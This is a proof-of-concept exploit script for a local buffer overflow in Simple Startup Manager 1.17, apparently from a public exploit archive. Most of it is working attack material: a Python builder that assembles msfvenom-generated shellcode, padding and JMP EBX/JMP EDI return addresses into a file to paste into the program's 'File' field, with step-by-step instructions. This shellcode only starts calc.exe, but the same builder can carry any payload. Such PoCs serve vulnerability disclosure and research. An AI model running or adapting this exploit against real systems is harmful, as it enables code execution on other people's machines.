# Exploit Title: Simple Startup Manager 1.17 - 'File' Local Buffer Overflow (PoC) # Exploit Author: PovlTekstTV# Date: 2020-07-15# Vulnerable Software: Simple Startup Manager# Software Link Download: http://www.ashkon.com/download/startup-manager.exe# Version: 1.17# Vulnerability Type: Local Buffer Overflow# Tested on: Windows 7 Ultimate Service Pack 1 (32 and 64 bit)# DEP and ASLR Disabled on system# Space for shellcode: 264#!/usr/bin/python# Two sets of instructions are needed:# 1. JMP EDI# 2. JMP EBX # I found these in the OS-module: SETUPAPI.dll, which is usually protected using ASLR# The exploit will properly not work unless changed/bruteforced.# It is also possible to overwrite the SEH-handler with 600+ bytes,# however I did not find any POP, POP, RETs.# Walkthrough:# 1.- Run the python script, it will create a new file "exploit.txt"# 2.- Copy the content of the new file 'exploit.txt' to clipboard# 3.- Turn off DEP for startup-manger.exe# 4.- Open 'startup-manger.exe'# 5.- Click 'New' or go to 'File' and click 'New'# 6.- Paste content from clipboard into 'File' parameter# 7.- Click on 'OK'# 9.- Calc.exe runs.#Identified the following badchars: x00 x0a x09 x0c x0d x3a x5c#msfvenom -p windows/exec cmd=calc.exe -f c -b "\x00\x0a\x0c\x0d\x3a\x5c"
shellcode = ("\xdb\xd0\xd9\x74\x24\xf4\xbe\xcb\xe3\xc2\xa5\x5a\x33\xc9\xb1""\x31\x83\xc2\x04\x31\x72\x14\x03\x72\xdf\x01\x37\x59\x37\x47""\xb8\xa2\xc7\x28\x30\x47\xf6\x68\x26\x03\xa8\x58\x2c\x41\x44""\x12\x60\x72\xdf\x56\xad\x75\x68\xdc\x8b\xb8\x69\x4d\xef\xdb""\xe9\x8c\x3c\x3c\xd0\x5e\x31\x3d\x15\x82\xb8\x6f\xce\xc8\x6f""\x80\x7b\x84\xb3\x2b\x37\x08\xb4\xc8\x8f\x2b\x95\x5e\x84\x75""\x35\x60\x49\x0e\x7c\x7a\x8e\x2b\x36\xf1\x64\xc7\xc9\xd3\xb5""\x28\x65\x1a\x7a\xdb\x77\x5a\xbc\x04\x02\x92\xbf\xb9\x15\x61""\xc2\x65\x93\x72\x64\xed\x03\x5f\x95\x22\xd5\x14\x99\x8f\x91""\x73\xbd\x0e\x75\x08\xb9\x9b\x78\xdf\x48\xdf\x5e\xfb\x11\xbb""\xff\x5a\xff\x6a\xff\xbd\xa0\xd3\xa5\xb6\x4c\x07\xd4\x94\x1a""\xd6\x6a\xa3\x68\xd8\x74\xac\xdc\xb1\x45\x27\xb3\xc6\x59\xe2""\xf0\x39\x10\xaf\x50\xd2\xfd\x25\xe1\xbf\xfd\x93\x25\xc6\x7d""\x16\xd5\x3d\x9d\x53\xd0\x7a\x19\x8f\xa8\x13\xcc\xaf\x1f\x13""\xc5\xd3\xfe\x87\x85\x3d\x65\x20\x2f\x42")
payload = shellcode
payload +=("A"*(268-len(payload)-4))
payload +=("\xe4\xa9\x4e\x76")#0x764ea9e4 (JMP EBX) {PAGE_READONLY} [SETUPAPI.dll]
payload +=("\x5f\xbc\x4e\x76")#0x764ebc5f (JMP EDI) {PAGE_READONLY} [SETUPAPI.dll]#Write payload to file
file = open("exploit.txt",'w')
file.write(payload)
file.close()
